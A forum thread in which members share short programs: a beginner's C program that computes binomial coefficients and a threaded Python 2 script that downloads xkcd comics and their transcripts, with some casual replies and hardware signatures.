int main(){    char again;    do    {        system ("cls");        int n;        int factorialk=1, k, factorialnmk=1, nmk, factorialn=1;        int combinatorio;        printf("Using the binary coefficient model (n  k)\n");        printf("Provide 'n' value\n");        scanf("%d", &n);        printf("provide 'k'\n");        scanf("%d", &k);        nmk= n-k;        if(n < 0)        {            printf("\nUse only natural numbers ( %c 0 ).", 242);        }        else        {            while (n  > 0)            {                factorialn = n * factorialn;                n--;            }            while(k > 0)            {                factorialk = k * factorialk;                k--;            }            while (nmk > 0)            {                factorialnmk = nmk * factorialnmk;                nmk--;            }        }        combinatorio = factorialn/(factorialk*factorialnmk);        printf("(n   k) = %d",  combinatorio);        printf("\n\nWould you like to test another one? (y/n):");        again = getche();    }    while (again == 'y'|| again == 'Y');        return 0;}
This is a basic C (yes... just C) console program that will calculate the binary coefficient of 2 numbers. this is useful in probability. (sorry the variables are in spanish, I am from argentina and code in spanish, took a second to change the prints to english but left the variables as they were.

anyway, hope you like it (I'm using C because I'm new to coding and this is de language I'm learning)

 

There is nothing wrong with C, Its used a hell of a lot, more than you realise! :)


Arch Linux on Samsung 840 EVO 120GB: Startup finished in 1.334s (kernel) + 224ms (userspace) = 1.559s | U mad windoze..?

Link to post
Share on other sites

A python script which downloads a range of xkcd comics and their transcripts. Yes, you have seen plenty of these, but I just wanted to write my own. I have tested it only on linux. Modifying it for windows should be easy.

import requests,os,json,threadingmax_threads=70active_threads=0lock = threading.Lock()print_lock=threading.Lock()folder = "xkcd_downloaded"class Download(threading.Thread):    page_url=""    def download(self,page_url):        page_dict = json.loads(requests.get(page_url).text)        image_url = page_dict["img"]        filename = image_url.split("/")[-1]        i = page_dict["num"]        img_path = os.getcwd()+"/"+folder+"/"+str(i)+". "+filename        t_path = img_path+".txt"        img_size = int(requests.head(image_url).headers["content-length"])        if os.path.exists(img_path)==False or img_size!=int(os.path.getsize(img_path)):            r = requests.get(image_url,stream = True)            with open(img_path, 'wb') as f:                for chunk in r.iter_content(chunk_size=1024):                    if chunk:                        f.write(chunk)                        f.flush()            print_lock.acquire()            print "Downloaded",i            print_lock.release()        t_size = len(page_dict["transcript"])        if os.path.exists(t_path)==False or t_size!=int(os.path.getsize(t_path)):            f = open(t_path,'w')            f.write(page_dict["transcript"].encode("UTF-8"))            f.close()    def __init__(self,page_url):        super(Download, self).__init__()        self.page_url = page_url    def run(self):        self.download(self.page_url)        lock.acquire()        global active_threads        active_threads -= 1        lock.release()def get_range(s,latest):    r = []    for i in s.split(","):        if "-" in i:            l = i.split("-")            a,b = int(l[0]),int(l[1])            if a > latest:                break            elif b > latest:                b = latest            r += range(a,b+1)        elif int(i) <= latest:            r.append(int(i))    if 404 in r:        r.remove(404)    if 0 in r:        r.remove(0)    return list(set(r))def main():    global active_threads    latest = json.loads(requests.get("http://xkcd.org/info.0.json").text)["num"]    print 'Latest comic number is',latest    range_input=raw_input('\nEnter comics to download (eg: "55,630,666-999,1024"): ')    range_list=get_range(range_input,latest)    if not os.path.exists(folder):        os.mkdir(folder)    for i in range_list:        while True:            lock.acquire()            if(active_threads<max_threads):                active_threads += 1                lock.release()                break            lock.release()        Download("http://xkcd.com/"+str(i)+"/info.0.json").start()if __name__ == '__main__':    main()
Link to post
Share on other sites

Under 100 lines... does that include comments?

 

This might be fun :)

Comments, what are comments.  My motto, "if it was hard to right, it should be hard to understand."


Desktop: Intel Core i7-6700K, ASUS Z170-A, ASUS STRIX GTX 1080 Ti, 16GB DDR4 RAM, 512 GB Samsund 840 Pro, Seasonic X series 650W PSU, Fractal Design Define R4, 2x5TB HDD

Hypervisor 1: Intel Xeon E5-2630L, ASRock EPC612D8, 16GB DDR4 ECC RAM, Intel RT3WB080 8-port RAID controller plus expansion card, Norco RPC-4020 case, 20x2TB WD Red HDD

Other spare hypervisors: Dell Poweredge 2950, HP Proliant DL380 G5

Laptops: ThinkPads, lots of ThinkPads

 

Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

Buy VPN

×